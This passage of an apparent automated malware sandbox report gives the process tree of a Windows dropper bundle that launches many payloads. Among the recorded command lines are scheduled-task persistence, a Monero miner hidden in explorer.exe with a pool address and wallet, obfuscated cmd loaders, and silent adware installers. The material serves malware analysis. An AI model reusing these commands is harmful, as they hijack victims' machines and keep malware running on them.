        C:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 2500
        7⤵
        Program crash
        
        PID:1492
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5048
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu21624565bb917a.exe
        
        Thu21624565bb917a.exe
        5⤵
        Executes dropped EXE
        
        PID:860
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 860 -s 260
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5652
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4492
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu2164f292a11ce.exe
        
        Thu2164f292a11ce.exe
        5⤵
        Executes dropped EXE
        
        PID:1392
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1392 -s 300
        6⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5828
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21b93295136197.exe
      4⤵
      PID:2400
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu21b93295136197.exe
        
        Thu21b93295136197.exe
        5⤵
        Executes dropped EXE
        
        PID:4128
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe
      4⤵
      PID:4812
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu214ce31cede21.exe
        
        Thu214ce31cede21.exe
        5⤵
        Executes dropped EXE
        
        PID:4476
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4476 -s 296
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe
      4⤵
      PID:4740
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu21b9847cb6727.exe
        
        Thu21b9847cb6727.exe
        5⤵
        Executes dropped EXE
        
        PID:2464
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe
      4⤵
      PID:3804
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu21a1ef054cac78a.exe
        
        Thu21a1ef054cac78a.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2352
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe
      4⤵
      PID:788
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu2156de5489c19.exe
        
        Thu2156de5489c19.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2344
      - C:\Users\Admin\AppData\Local\Temp\tmpE411_tmp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tmpE411_tmp.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:960
        
        C:\Windows\SysWOW64\dllhost.exe
        
        dllhost.exe
        7⤵
        
        PID:5296
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c cmd < Attesa.wmv
        7⤵
        
        PID:5376
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        8⤵
        
        PID:5728
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv
        9⤵
        
        PID:5040
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        Adorarti.exe.com u
        9⤵
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5268
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u
        10⤵
        Executes dropped EXE
        Drops startup file
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RegAsm.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RegAsm.exe ›jóvÏxóvJ1öß
        11⤵
        Executes dropped EXE
        
        PID:5948
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        9⤵
        Runs ping.exe
        
        PID:6032
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone
      4⤵
      PID:1148
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu21df5caa1b78de6.exe
        
        Thu21df5caa1b78de6.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:2128
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 284
        6⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5284
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1384
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu21568b0ab8.exe
        
        Thu21568b0ab8.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1808
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:4296
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:5516
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:3124
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:4300
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        
        PID:4156
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:4940
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:6044
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:1812
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:4076
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5776
        
        C:\ProgramData\1015146.exe
        
        "C:\ProgramData\1015146.exe"
        8⤵
        Executes dropped EXE
        
        PID:4176
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4176 -s 2328
        9⤵
        Program crash
        
        PID:1844
        
        C:\ProgramData\6450817.exe
        
        "C:\ProgramData\6450817.exe"
        8⤵
        Executes dropped EXE
        
        PID:5544
        
        C:\ProgramData\8335391.exe
        
        "C:\ProgramData\8335391.exe"
        8⤵
        Executes dropped EXE
        
        PID:572
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 572 -s 2440
        9⤵
        Program crash
        
        PID:1932
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5968
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:5016
        
        C:\Users\Admin\AppData\Local\Temp\udptest.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
        7⤵
        Executes dropped EXE
        
        PID:5356
        
        C:\Users\Admin\AppData\Local\Temp\DVORAK.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"
        7⤵
        Executes dropped EXE
        
        PID:5784
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        
        PID:3552
        
        C:\Users\Admin\AppData\Local\Temp\is-MT5JK.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-MT5JK.tmp\setup_2.tmp" /SL5="$10358,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5936
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:2916
        
        C:\Users\Admin\AppData\Local\Temp\is-S67DT.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-S67DT.tmp\setup_2.tmp" /SL5="$2034C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:1308
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        
        PID:5900
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:3208
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:5384
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        
        PID:780
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1672
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu2102ff6cfe07c.exe
        
        Thu2102ff6cfe07c.exe
        5⤵
        Executes dropped EXE
        
        PID:3236
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu214aaca5625.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1364

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv dn8LwwbFRkCXo9mq/8woaw.0.2
1⤵
- Modifies data under HKEY_USERS
PID:3560

C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu214aaca5625.exe
Thu214aaca5625.exe
1⤵
- Executes dropped EXE
PID:1884
- C:\Users\Admin\AppData\Local\Temp\is-QFJVL.tmp\Thu214aaca5625.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-QFJVL.tmp\Thu214aaca5625.tmp" /SL5="$3013E,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu214aaca5625.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4828
- - C:\Users\Admin\AppData\Local\Temp\is-F4ED2.tmp\46807GHF____.exe
    "C:\Users\Admin\AppData\Local\Temp\is-F4ED2.tmp\46807GHF____.exe" /S /UID=burnerch2
    3⤵
    - Executes dropped EXE
    PID:2992
  - - C:\Program Files\Windows Defender Advanced Threat Protection\AUBEIFKDWU\ultramediaburner.exe
      "C:\Program Files\Windows Defender Advanced Threat Protection\AUBEIFKDWU\ultramediaburner.exe" /VERYSILENT
      4⤵
      PID:5876
    - - C:\Users\Admin\AppData\Local\Temp\is-TCI74.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-TCI74.tmp\ultramediaburner.tmp" /SL5="$20398,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\AUBEIFKDWU\ultramediaburner.exe" /VERYSILENT
        5⤵
        
        PID:5072
      - C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        6⤵
        
        PID:3972
  - - C:\Users\Admin\AppData\Local\Temp\e4-cd42f-0ea-82e85-d3c93b50dbb81\Kiqurufohae.exe
      "C:\Users\Admin\AppData\Local\Temp\e4-cd42f-0ea-82e85-d3c93b50dbb81\Kiqurufohae.exe"
      4⤵
      PID:3212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        5⤵
        
        PID:568
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffd16646f8,0x7fffd1664708,0x7fffd1664718
        6⤵
        
        PID:248
  - - C:\Users\Admin\AppData\Local\Temp\ab-82676-b16-33f95-e39690315210a\Wojadaeduka.exe
      "C:\Users\Admin\AppData\Local\Temp\ab-82676-b16-33f95-e39690315210a\Wojadaeduka.exe"
      4⤵
      PID:1012
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\knpqjcdq.qkr\GcleanerEU.exe /eufive & exit
        5⤵
        
        PID:5500
      - C:\Users\Admin\AppData\Local\Temp\knpqjcdq.qkr\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\knpqjcdq.qkr\GcleanerEU.exe /eufive
        6⤵
        
        PID:2224
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2224 -s 284
        7⤵
        Program crash
        
        PID:5280
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nhduknrz.usq\installer.exe /qn CAMPAIGN="654" & exit
        5⤵
        
        PID:5812
      - C:\Users\Admin\AppData\Local\Temp\nhduknrz.usq\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\nhduknrz.usq\installer.exe /qn CAMPAIGN="654"
        6⤵
        
        PID:2020
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\nhduknrz.usq\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\nhduknrz.usq\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966273 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        7⤵
        
        PID:5800
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hqy5qcau.hbr\anyname.exe & exit
        5⤵
        
        PID:5016
      - C:\Users\Admin\AppData\Local\Temp\hqy5qcau.hbr\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\hqy5qcau.hbr\anyname.exe
        6⤵
        
        PID:1416
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zilfqvfo.k0z\gcleaner.exe /mixfive & exit
        5⤵
        
        PID:5748
      - C:\Users\Admin\AppData\Local\Temp\zilfqvfo.k0z\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\zilfqvfo.k0z\gcleaner.exe /mixfive
        6⤵
        
        PID:3700
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3700 -s 280
        7⤵
        Program crash
        
        PID:4400
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tnaqa1al.fsr\autosubplayer.exe /S & exit
        5⤵
        
        PID:4152

C:\Users\Admin\AppData\Local\Temp\is-9LS3F.tmp\Thu21b93295136197.tmp
"C:\Users\Admin\AppData\Local\Temp\is-9LS3F.tmp\Thu21b93295136197.tmp" /SL5="$200D4,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zS4E01B0F3\Thu21b93295136197.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:928
- C:\Users\Admin\AppData\Local\Temp\is-2DI1S.tmp\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\is-2DI1S.tmp\Setup.exe" /Verysilent
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:5440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplis.ru/1S2Qs7
    3⤵
    PID:3200
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffd16646f8,0x7fffd1664708,0x7fffd1664718
      4⤵
      PID:480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
      4⤵
      PID:1456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 /prefetch:3
      4⤵
      PID:5456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2732 /prefetch:8
      4⤵
      PID:5964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3560 /prefetch:1
      4⤵
      PID:3124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3568 /prefetch:1
      4⤵
      PID:3844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4980 /prefetch:1
      4⤵
      PID:3004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2156 /prefetch:1
      4⤵
      PID:5376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5760 /prefetch:8
      4⤵
      PID:1668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5760 /prefetch:8
      4⤵
      PID:3644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2564 /prefetch:1
      4⤵
      PID:4860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5808 /prefetch:1
      4⤵
      PID:3084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6084 /prefetch:2
      4⤵
      PID:5096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
      4⤵
      PID:1244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6012 /prefetch:1
      4⤵
      PID:5388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
      4⤵
      PID:5924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,8960574731864902041,7686358077190755311,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6320 /prefetch:1
      4⤵
      PID:4364
- - C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe
    "C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    PID:5372
  - - C:\Users\Admin\AppData\Local\Temp\BSKR.exe
      "C:\Users\Admin\AppData\Local\Temp\BSKR.exe"
      4⤵
      PID:792
    - - C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        5⤵
        
        PID:5256
  - - C:\Users\Admin\AppData\Local\Temp\Mortician.exe
      "C:\Users\Admin\AppData\Local\Temp\Mortician.exe"
      4⤵
      PID:5932
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c cmd < Cerchia.vsdx
        5⤵
        
        PID:5844
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd
        6⤵
        
        PID:5684
        
